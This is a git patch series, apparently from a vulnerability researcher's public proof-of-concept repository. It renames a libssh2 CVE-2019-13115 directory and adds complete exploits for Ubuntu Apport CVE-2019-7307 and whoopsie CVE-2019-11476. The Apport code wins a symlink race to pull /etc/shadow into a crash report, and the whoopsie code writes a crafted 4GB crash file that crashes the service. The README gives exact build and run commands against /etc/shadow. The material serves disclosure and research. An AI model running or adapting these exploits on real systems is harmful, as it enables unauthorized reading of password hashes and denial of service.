out_of_bounds_read_kex_CVE-2019-13115}/server/home/diff.txt (100%) diff --git a/libssh2/out_of_bounds_read_kex/README.md b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/README.md similarity index 95% rename from libssh2/out_of_bounds_read_kex/README.md rename to libssh2/out_of_bounds_read_kex_CVE-2019-13115/README.md index becb5fa..a521136 100644 --- a/libssh2/out_of_bounds_read_kex/README.md +++ b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/README.md @@ -1,6 +1,6 @@ -# Out-of-bounds read in libssh2 +# Out-of-bounds read in libssh2 (CVE-2019-13115) -[libssh2](https://www.libssh2.org/) version 1.8.2 contains a remotely triggerable out-of-bounds read, potentially leading to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-03-28. It is fixed in version [1.9.0](https://www.libssh2.org/changes.html), released on 2018-06-20. They did not acknowledge Semmle in the change notes and did not apply for a CVE. +[libssh2](https://www.libssh2.org/) version 1.8.2 contains a remotely triggerable out-of-bounds read, potentially leading to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-03-28. It is fixed in version [1.9.0](https://www.libssh2.org/changes.html), released on 2018-06-20. This directory contains a proof of concept exploit for the vulnerability. It uses [docker](https://www.docker.com/) to simulate two computers. The first is a server, running [openssh](https://www.openssh.com/) with some malicious source code modifications. The second is a client, running `libssh2`. When the client attempts to connect to server, the server sends back a malicious response which triggers a segmentation fault in the client. diff --git a/libssh2/out_of_bounds_read_kex/client/Dockerfile b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/Dockerfile similarity index 100% rename from libssh2/out_of_bounds_read_kex/client/Dockerfile rename to libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/Dockerfile diff --git a/libssh2/out_of_bounds_read_kex/client/home/.tmux.conf b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/home/.tmux.conf similarity index 100% rename from libssh2/out_of_bounds_read_kex/client/home/.tmux.conf rename to libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/home/.tmux.conf diff --git a/libssh2/out_of_bounds_read_kex/server/Dockerfile b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/Dockerfile similarity index 100% rename from libssh2/out_of_bounds_read_kex/server/Dockerfile rename to libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/Dockerfile diff --git a/libssh2/out_of_bounds_read_kex/server/home/.tmux.conf b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/.tmux.conf similarity index 100% rename from libssh2/out_of_bounds_read_kex/server/home/.tmux.conf rename to libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/.tmux.conf diff --git a/libssh2/out_of_bounds_read_kex/server/home/diff.txt b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/diff.txt similarity index 100% rename from libssh2/out_of_bounds_read_kex/server/home/diff.txt rename to libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/diff.txt From f82de0cde43b0d7a7c23a26bf9fb3b9f562cb61f Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 15 Aug 2019 18:05:40 -0700 Subject: [PATCH 14/14] Exploit PoC for Ubuntu Apport CVE-2019-7307. --- .../.gitignore | 2 + .../Makefile | 10 + .../README.md | 51 +++ .../gencrashreport.cpp | 351 ++++++++++++++++++ .../killwhoopsie1.cpp | 66 ++++ .../utils.cpp | 239 ++++++++++++ .../utils.hpp | 95 +++++ 7 files changed, 814 insertions(+) create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore new file mode 100644 index 0000000..77fd212 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore @@ -0,0 +1,2 @@ +gencrashreport +killwhoopsie1 diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile new file mode 100644 index 0000000..adae904 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile @@ -0,0 +1,10 @@ +all: gencrashreport killwhoopsie1 + +gencrashreport: gencrashreport.cpp utils.cpp + g++ -Wall -O2 gencrashreport.cpp utils.cpp -o gencrashreport + +killwhoopsie1: killwhoopsie1.cpp utils.cpp + g++ -Wall -O2 killwhoopsie1.cpp utils.cpp -o killwhoopsie1 + +clean: + rm -f gencrashreport killwhoopsie1 diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md new file mode 100644 index 0000000..27d2361 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md @@ -0,0 +1,51 @@ +# Ubuntu Apport TOCTOU (CVE-2019-7307) and whoopsie heap buffer overflow (CVE-2019-11476) + +This directory contains proof-of-concept exploits for vulnerabilities in Ubuntu's crash reporting system: + +* [CVE-2019-7307](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7307) is a time-of-check to time-of-use (TOCTOU) vulnerability in Apport, which enables an unprivileged local user to trick Apport into including the contents of an arbitrary file in a crash report. The full bug report is public on [bugs.launchpad.net](https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1830858). +* [CVE-2019-11476](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11476) is a denial of service vulnerability. An integer overflow when reading large crash dumps (> 4GB) leads to a heap buffer overflow. I do not believe it is possible to exploit this heap buffer overflow to achieve code execution, so I have classified this bug as a denial of service. The full bug report is public on [bugs.launchpad.net](https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863). + +## Instructions + +I usually try to provide a `Dockerfile` so that my PoCs are safely reproducible on a patched system. Unfortunately, Apport is specifically designed to behave differently inside a container, so I am not able to do so this time. Instead, if you would like to test the exploit, then you will need to revert the bug fix in your Apport installation. You can do that as follows: + +``` +git clone https://git.launchpad.net/ubuntu/+source/apport +cd apport +git checkout applied/2.20.9-0ubuntu7.6 +sudo cp apport/report.py /usr/lib/python3/dist-packages/apport/report.py +``` + +When you are done, don't forget to fix your installation: + +``` +sudo apt-get install --reinstall python3-apport +``` + +Build the PoC for Apport CVE-2019-7307 like this: + +``` +make +``` + +And run it like this: + +``` +./gencrashreport /etc/shadow +``` + +This will create a file named `/var/crash/_usr_share_apport_apport.0.crash`, which is owned by `root`, but also readable by `whoopsie`. For a full exploit chain, we would therefore also need a second exploit that enables us to read files as whoopsie. But since we don't have that yet, we need to change the permissions of the crash report: + +``` +sudo chmod 666 /var/crash/_usr_share_apport_apport.0.crash +``` + +At this point, you can unpack the crash report and see that the contents of `/etc/shadow` are embedded in the `CoreDump` file: + +``` +mkdir report +apport-unpack /var/crash/_usr_share_apport_apport.0.crash report +cd report +``` + +Note: `apport-unpack` is a bit flaky and usually crashes with an error message like this: `['ProcEnviron', 'UserGroups'] has no binary content`. But it works well enough to extract the core dump from the report. Now use your favorite text editor to open `CoreDump` and search for the contents of `/etc/password`. Searching for the string "root:" usually works. diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp new file mode 100644 index 0000000..ab64c35 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp @@ -0,0 +1,351 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +// Names of special files. +const char* var_crash_ = "/var/crash"; +const char* lock_path_ = "/var/crash/.lock"; +const char* lock_bak_path_ = "/var/crash/.lock.bak"; +const char* var_crash_bin_sleep_prefix_ = "/var/crash/_bin_sleep."; +const char* dotcrash_ = ".crash"; +const char* apport_ignore_name_ = ".apport-ignore.xml"; +const char* apport_ignore_bak_name_ = ".apport-ignore.xml.bak"; +const char* expatbuilder_cpython_ = + "/usr/lib/python3.6/xml/dom/__pycache__/expatbuilder.cpython-36.pyc"; +const char apport_cmdline[] = "/usr/bin/python3\0/usr/share/apport/apport"; + +// Search `/proc/*/cmdline` to find the PID of Apport. +pid_t get_apport_pid() { + const pid_t apport_pid = + search_pid(apport_cmdline, sizeof(apport_cmdline)); + if (apport_pid < 0) { + throw Error("Could not find apport PID."); + } + return apport_pid; +} + +// Main class for triggering Apport. +class TriggerApportMain { + const char* const targetfile_; // Forbidden file that we want to read. + const AutoCloseFD homedir_fd_; // File descriptor for $HOME + const AutoCloseFD listensock_; // TCP listening socket + const std::string apport_ignore_path_; // `$HOME/.apport-ignore.xml` + const std::string apport_ignore_bak_path_; // `$HOME/.apport-ignore.xml.bak` + const std::string corefile_path_; // `/var/crash/_bin_sleep..crash` + + pid_t spawn_child_process(); + void create_special_files(); + +public: + TriggerApportMain( + const char* targetfile, const char* homedir, const int homedir_fd, + const int listensock + ); + ~TriggerApportMain(); + + void run(); +}; + +TriggerApportMain::TriggerApportMain( + const char* targetfile, const char* homedir, const int homedir_fd, + const int listensock +) : targetfile_(targetfile) + , homedir_fd_(homedir_fd) + , listensock_(listensock) + , apport_ignore_path_(std::string(homedir) + "/" + apport_ignore_name_) + , apport_ignore_bak_path_(std::string(homedir) + "/" + apport_ignore_bak_name_) + , corefile_path_(std::string(var_crash_bin_sleep_prefix_) + + std::to_string(getuid()) + + dotcrash_) +{ +} + +TriggerApportMain::~TriggerApportMain() { + // Clean up all the files. If everything worked as expected then the + // ".bak" files should already be gone, but we try to remove them anyway + // just in case something went wrong. + unlinkat(homedir_fd_.get(), apport_ignore_name_, 0); + unlinkat(homedir_fd_.get(), apport_ignore_bak_name_, 0); + unlinkat(AT_FDCWD, lock_path_, 0); + unlinkat(AT_FDCWD, lock_bak_path_, 0); + unlinkat(AT_FDCWD, corefile_path_.c_str(), 0); +} + +// Create a file named `~/.apport-ignore.xml` and a symlink named +// `.apport-ignore.xml.bak`. The first file is just a temporary file which +// we will use to bypass a file permission check: Apport calls +// `os.access()` to check that we have permission to read +// `~/.apport-ignore.xml`. The second file is a symlink which points to the +// file that we really want to read (but don't have permission to). So we +// will replace the first file with the symlink immediately after the +// `os.access()` has happened. But we create both files in advance so that +// the switcheroo can be done as quickly as possible (with a rename +// syscall). +void TriggerApportMain::create_special_files() { + // Try to create `/var/crash/.lock` first, because if it fails then the + // entire exploit isn't going to work. + AutoCloseFD lockfile_fd( + create_file( + AT_FDCWD, lock_path_, S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + // Create `/var/crash/.lock.bak`. It will replace `/var/crash/.lock` + // once Apport has started. + AutoCloseFD lockfile_bak_fd( + create_file( + AT_FDCWD, lock_bak_path_, S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + char bogustxt[] = "kevwozere"; + create_and_write_file( + homedir_fd_.get(), + apport_ignore_name_, + bogustxt, + sizeof(bogustxt), + S_IRUSR | S_IWUSR + ); + + createSymlink(targetfile_, homedir_fd_.get(), apport_ignore_bak_name_); +} + +// This where we exploit the TOCTOU vulnerability. This is the source +// location of the vulnerability: +// +// https://git.launchpad.net/ubuntu/+source/apport/tree/apport/report.py?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n962 +// +// Apport allows the user to place a file in their home directory named +// `~/.apport-ignore.xml`. The call to os.access() on line 962 is intended +// to check that this file belongs to the correct user. But on line 967, +// the file is read again using xml.dom.minidom.parse. This creates a +// window of opportunity for an attacker to replace the file with a +// symlink. The symlink does not need to point to a valid XML file, because +// there is a try-except around the call to the parser, so if the file is +// invalid then Apport just ignores it and continues. However, the contents +// of the file still ends up in Apport's heap. +// +// I used `sudo strace -e file -tt -p ` to discover that +// `expatbuilder.cpython-36.pyc` is opened immediately before +// `.apport-ignore.xml` is parsed. So we can use inotify to watch +// `expatbuilder.cpython-36.pyc` and replace `.apport-ignore.xml` with a +// symlink at exactly the right moment. This is also good time to do +// the switcheroo on `/var/crash/.lock`. +void file_switcheroo( + const pid_t cpid, // PID of process that we are going to crash + const int inotify_fd, // File descriptor for inotify + const int homedir_fd // File descriptor for $HOME +) { + add_watch(inotify_fd, expatbuilder_cpython_, IN_OPEN | IN_ONESHOT); + + // Trigger the crash. + kill(cpid, SIGSEGV); + + // Use `poll` to wait for an inotify event. + fd_wait_for_read(inotify_fd); + + // Do the switcheroo on `.apport-ignore.xml`. It is now a symlink to the + // file that we want to read (but aren't supposed to). + const int r0 = + renameat(homedir_fd, apport_ignore_bak_name_, + homedir_fd, apport_ignore_name_); + if (unlikely(r0 < 0)) { + throw ErrorWithErrno("Rename of .apport-ignore.xml failed."); + } + + // Do the switcheroo on `/var/crash/.lock`. This is to stop the second + // Apport from deadlocking with the first. This trick works because locks + // created by lockf are only "advisory". Replace the lock file with a new + // file deactivates the lock. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n50 + const int r1 = rename(lock_bak_path_, lock_path_); + if (unlikely(r1 < 0)) { + throw ErrorWithErrno("Rename of /var/crash/.lock failed."); + } + + drain_fd(inotify_fd); +} + +// Do a `posix_spawn` of `/bin/sleep`. +pid_t TriggerApportMain::spawn_child_process() { + char prog[] = "/bin/sleep"; + char arg[] = "60s"; + char *const argv[3] = {prog, arg, 0}; + + // If we start /bin/sleep with a DBUS_SESSION_BUS_ADDRESS environment + // variable then Apport will open a socket to the specified address + // (which is controlled by this process - Mwahahaha). This enables us + // to control the timing of the attack more precisely. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266 + // Actually, I have to confess that I only included this + // DBUS_SESSION_BUS_ADDRESS bit for giggles. I am confident that I + // could get the PoC to work without it. But I did find this "feature" + // of Apport quite useful while I was investigating how Apport + // works. It enabled me to easily pause Apport while it was running, + // which was useful as a debugging feature. + const uint16_t port = getportnumber(listensock_.get()); + std::cout << "listening on port " << port << "\n"; + char dbus[128]; + snprintf( + dbus, sizeof(dbus), + "DBUS_SESSION_BUS_ADDRESS=tcp:host=127.0.0.1,bind=*,port=%d", + port + ); + char *const envp[2] = {dbus, 0}; + + pid_t cpid = 0; + const int r = posix_spawn(&cpid, "/bin/sleep", 0, 0, argv, envp); + if (r != 0) { + throw ErrorWithErrno("posix_spawn failed."); + } + + return cpid; +} + +void TriggerApportMain::run() { + // Spawn `/bin/sleep`. This is the program that we will crash. + const pid_t cpid = spawn_child_process(); + + std::cout << "/bin/sleep started with PID " << cpid << "\n"; + + create_special_files(); + + // Initialize inotify. + const AutoCloseFD inotify_fd(inotify_init1(IN_NONBLOCK | IN_CLOEXEC)); + if (inotify_fd.get() < 0) { + throw ErrorWithErrno("inotify_init1 failed"); + } + + file_switcheroo(cpid, inotify_fd.get(), homedir_fd_.get()); + + std::cout << "switcheroo done\n"; + + // Wait for Apport to connect to our socket. + fd_wait_for_read(listensock_.get()); + + sockaddr addr; + socklen_t addr_len = sizeof(addr); + memset(&addr, 0, addr_len); + const AutoCloseFD dbus_sock(accept(listensock_.get(), &addr, &addr_len)); + if (dbus_sock.get() < 0) { + throw ErrorWithErrno("accept failed"); + } + + std::cout << "socket accepted\n"; + const pid_t apport_pid = get_apport_pid(); + std::cout << "apport PID = " << apport_pid << "\n"; + + // Add a watcher for the core file getting created. + add_watch(inotify_fd.get(), var_crash_, IN_CREATE | IN_ONESHOT); + + // Close the accepted socket so that Apport will continue. + shutdown(dbus_sock.get(), SHUT_RD); + close(dbus_sock.get()); + + // Wait for a file to be created in `/var/crash`. + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); + + // Now we need to wait until apport starts to write the core + // file. Unfortunately, we cannot use inotify for this because the file + // is initially owned by root, so we do not have permission to watch + // it. So we have to settle for the inelegant solution of looping + // until we can read the file. + size_t count = 0; + while (1) { + count++; + const AutoCloseFD corefile_fd(open(corefile_path_.c_str(), O_RDONLY)); + if (corefile_fd.get() >= 0) { + break; + } + } + std::cout << "count = " << count << "\n"; + + // Add a watcher for the core file getting written. + add_watch(inotify_fd.get(), corefile_path_.c_str(), IN_MODIFY | IN_ONESHOT); + + // Use `poll` to wait for an inotify event. + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); + + // Change the core limit of Apport to 0:0. It is currently set to 1, + // which is another attempt to prevent Apport from getting into a + // recursive loop. This seems to be quite an obscure feature. I learned + // about it here: + // https://bugs.launchpad.net/ubuntu/+source/linux/+bug/498525/comments/3 + const struct rlimit new_limit = {0,0}; + if (prlimit(apport_pid, RLIMIT_CORE, &new_limit, 0) < 0) { + throw ErrorWithErrno("prlimit failed"); + } + + // Kill Apport. Apport sets a few signal handlers in `setup_signals`, so + // we need to choose a core-generating signal that it doesn't have a + // handler for. SIGTRAP works. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n149 + kill(apport_pid, SIGTRAP); + + // Add a watch for `/var/crash/.lock` getting opened. Otherwise we + // might accidentally delete it (in `~TriggerApportMain()`) before + // the next Apport starts up. Which will lead to it being owned by + // root, which will prevent us from running the exploit again. + add_watch(inotify_fd.get(), lock_path_, IN_OPEN | IN_ONESHOT); + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); +} + +int main(int argc, char* argv[]) { + try { + // Don't place restrictions on file permissions created by this + // program. + umask(0); + + if (argc < 2) { + const char* progname = (argc > 0) ? argv[0] : "apportread"; + throw Error( + std::string("Usage: ") + progname + " " + ); + } + + // Open a TCP port. Apport will connect to this port during + // `is_closing_session`. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266 + const int listensock = create_bind_and_listen_tcp(); + + const char* targetfile = argv[1]; + const char* homedir = getenv("HOME"); + if (!homedir) { + throw Error("HOME environment variable is not set."); + } + + // Get a file descriptor for the home directory, so that we can mostly + // use the openat/renameat/... file operations. (Annoyingly, + // inotify_add_watch doesn't have a "*at" API, so we still need to use + // the full path for that.) + const int homedir_fd = open(homedir, O_PATH | O_CLOEXEC); + if (homedir_fd < 0) { + throw Error(std::string("Could not open ") + homedir); + } + + TriggerApportMain triggerApportMain( + targetfile, homedir, homedir_fd, listensock + ); + triggerApportMain.run(); + } catch (ErrorWithErrno& e) { + int err = e.getErrno(); + std::cerr << e.what() << "\n" << strerror(err) << "\n"; + exit(EXIT_FAILURE); + } catch (std::exception& e) { + std::cerr << e.what() << "\n"; + exit(EXIT_FAILURE); + } + + exit(EXIT_SUCCESS); +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp new file mode 100644 index 0000000..90b6033 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp @@ -0,0 +1,66 @@ +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +// Proof-of-concept for CVE-2019-11476. +// "Integer overflow in parse_report (whoopsie.c:425)" +// Bug report: https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863 +// +// The PoC works by creating a file named `/var/crash/killwhoopsie.crash`, +// just over 4GB in size. It then creates a file named +// `/var/crash/killwhoopsie.upload`, which prompts whoopsie to start +// processing the .crash file. Be aware that whoopsie will keep restarting +// and crash repeatedly until you remove the files from /var/crash. + +int main() { + try { + AutoCloseFD crash_fd( + create_file( + AT_FDCWD, "/var/crash/killwhoopsie.crash", S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + // Create a value just under 4GB in size. + write_or_throw(crash_fd.get(), "x: ", 3); + write_repeated_buffer(crash_fd.get(), "kevwozere", 9, 0x100000000ULL - 16); + // Increase the size of the value by continuing on the next line. + // This causes an integer overflow here: + // http://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/src/whoopsie.c#L425 + write_or_throw(crash_fd.get(), "\n ", 2); + + // Interestingly, if we make `mchunkhdr` exactly 15 bytes long then the + // `value` doesn't get deallocated in `destroy_key_and_value` + // (whoopsie.c:350), because `*(char*)value == '\0'`. + const unsigned char mchunkhdr[16] = + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 'x' + }; + write_or_throw(crash_fd.get(), (const char*)mchunkhdr, sizeof(mchunkhdr)); + write_or_throw(crash_fd.get(), "\n", 1); + + // Invalid sequence so that whoopsie will error out. + write_or_throw(crash_fd.get(), "y:\n\n", 4); + + // whoopsie doesn't start reading the `.crash` file until we create the + // corresponding `.upload` file. + AutoCloseFD upload_fd( + create_file( + AT_FDCWD, "/var/crash/killwhoopsie.upload", S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + } catch (ErrorWithErrno& e) { + int err = e.getErrno(); + std::cerr << e.what() << "\n" << strerror(err) << "\n"; + exit(EXIT_FAILURE); + } catch (std::exception& e) { + std::cerr << e.what() << "\n"; + exit(EXIT_FAILURE); + } + + exit(EXIT_SUCCESS); +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp new file mode 100644 index 0000000..145952a --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp @@ -0,0 +1,239 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +AutoCloseFD::~AutoCloseFD() { + close(fd_); +} + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Create a TCP socket and start listening. We will let the OS choose +// the port number. +int create_bind_and_listen_tcp() { + // Create a socket for listening on the port. + const int sock = + socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC | SOCK_NONBLOCK, 0); + if (sock < 0) { + throw ErrorWithErrno("Failed to create socket."); + } + + // Allow the port to be reused as soon as the program terminates. + int one = 1; + if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) { + throw ErrorWithErrno("Failed to set SO_REUSEADDR."); + } + + // Bind the port. + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = 0; // Ask OS to choose a port number + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // localhost + + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + throw ErrorWithErrno("Error binding TCP socket to port."); + } + + // Start listening. + if (listen(sock, SOMAXCONN) < 0) { + throw ErrorWithErrno("listen failed."); + } + + return sock; +} + +// Find out which port number the socket is bound to. We need this because +// we asked the OS to choose the port number for us (in +// `create_bind_and_listen_tcp`, above). +uint16_t getportnumber(const int sock) { + struct sockaddr_in sin; + socklen_t len = sizeof(sin); + if (getsockname(sock, (struct sockaddr *)&sin, &len) < 0) { + throw ErrorWithErrno("getsockname failed."); + } + return ntohs(sin.sin_port); +} + +// Add an inotify watch. +int add_watch(const int inotify_fd, const char* filename, uint32_t mask) { + std::cout << "adding watch for " << filename << "\n"; + const int wd = inotify_add_watch(inotify_fd, filename, mask); + if (wd < 0) { + throw ErrorWithErrno( + std::string("inotify_add_watch of ") + filename + " failed." + ); + } + return wd; +} + +// Create a symlink: `linkname` -> `target` +// `newdirfd` is used as the current directory if `linkname` is a relative +// path. +void createSymlink( + const char* target, const int newdirfd, const char* linkname +) { + if (symlinkat(target, newdirfd, linkname) < 0) { + throw ErrorWithErrno(std::string("Could not create symlink ") + linkname); + } + std::cout << "symlink created: " << linkname << " -> " << target << "\n"; +} + +// Create a file. This function will throw an exception if the file already +// exists. +int create_file(int dirfd, const char *pathname, mode_t mode) { + const int fd = + openat(dirfd, pathname, O_CREAT | O_WRONLY | O_TRUNC | O_EXCL | O_CLOEXEC, mode); + if (fd < 0) { + throw ErrorWithErrno(std::string("Could not create ") + pathname); + } + return fd; +} + +// Write the buffer to the file descriptor. Throw an exception if something +// goes wrong. +void write_or_throw(const int fd, const char* buf, size_t buflen) { + const ssize_t n = write(fd, buf, buflen); + if (n < 0) { + throw ErrorWithErrno("write failed"); + } + if (static_cast(n) != buflen) { + throw Error("incomplete write"); + } +} + +// Create a file and write the contents of `buf` to it. This function +// will throw an exception if the file already exists. +void create_and_write_file( + int dirfd, const char *pathname, const char* buf, size_t buflen, mode_t mode +) { + const AutoCloseFD fd(create_file(dirfd, pathname, mode)); + write_or_throw(fd.get(), buf, buflen); + std::cout << "file created: " << pathname << "\n"; +} + +// Utility for writing enormous strings to a file. Repeatedly writes `msg` to +// the file until exactly `totallen` bytes have been written. (The final copy +// of `msg` might get truncated.) +void write_repeated_buffer( + const int fd, const char* msg, size_t msglen, size_t totallen +) { + // Create a large block with 4096 copies of the message, to reduce the number + // of calls to `write`. + std::string block; + block.reserve(msglen * 4096); + for (size_t i = 0; i < 4096; i++) { + block.append(msg, msglen); + } + + const char* blockptr = block.c_str(); + size_t blocksize = block.size(); + size_t pos = 0; + while (1) { + pos += blocksize; + if (pos <= totallen) { + write_or_throw(fd, blockptr, blocksize); + } else { + // The block is too big. So we need to rewind and write out a + // smaller number of bytes. + pos -= blocksize; + write_or_throw(fd, blockptr, totallen - pos); + // We are done. + return; + } + } +} + +// Use `poll` to wait for the file descriptor to be readable. +void fd_wait_for_read(const int inotify_fd) { + const nfds_t nfds = 1; + struct pollfd pollfds[1] = {0}; + pollfds[0].fd = inotify_fd; + pollfds[0].events = POLLIN; + + while (1) { + const int poll_num = poll(pollfds, nfds, -1); + if (unlikely(poll_num < 0)) { + const int err = errno; + if (err == EINTR) { + continue; + } + throw ErrorWithErrno("poll failed"); + } + + if (likely(poll_num > 0)) { + if (likely(pollfds[0].revents & POLLIN)) { + break; + } + } + } +} + +// Read all the available input on the file descriptor. (We use this to +// reset inotify after it has reported an event.) +void drain_fd(const int fd) { + char buf[4096]; + while (read(fd, buf, sizeof(buf)) > 0); +} + +// Kill a child process and wait for it. +void kill_and_wait(const pid_t cpid, const int sig) { + if (kill(cpid, sig) < 0) { + throw ErrorWithErrno("kill() failed"); + } + if (waitpid(cpid, 0, 0) < 0) { + throw ErrorWithErrno("waitpid() failed"); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +pid_t search_pid(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + return atoi(subdir_name); + } + } + return -1; +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp new file mode 100644 index 0000000..71cc0d3 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp @@ -0,0 +1,95 @@ +#include +#include +#include + +#define likely(x) __builtin_expect(!!(x), 1) +#define unlikely(x) __builtin_expect(!!(x), 0) + +// Exception class. Caught in main(). +class Error : public std::exception { + std::string msg_; + +public: + explicit Error(const char* msg) : msg_(msg) {} + explicit Error(std::string&& msg) : msg_(std::move(msg)) {} + + const char* what() const noexcept override { + return msg_.c_str(); + } +}; + +// Exception class for system errors that include an errno. Caught in +// main(). +class ErrorWithErrno : public Error { + const int err_; + +public: + explicit ErrorWithErrno(const char* msg) : Error(msg), err_(errno) {} + explicit ErrorWithErrno(std::string&& msg) : Error(std::move(msg)), err_(errno) {} + + int getErrno() const { return err_; } +}; + +// This class automatically closes the file descriptor in its destructor. +class AutoCloseFD { + const int fd_; + + AutoCloseFD() : fd_(-1) {} + +public: + explicit AutoCloseFD(const int fd) : fd_(fd) {} + ~AutoCloseFD(); + + int get() const { return fd_; } 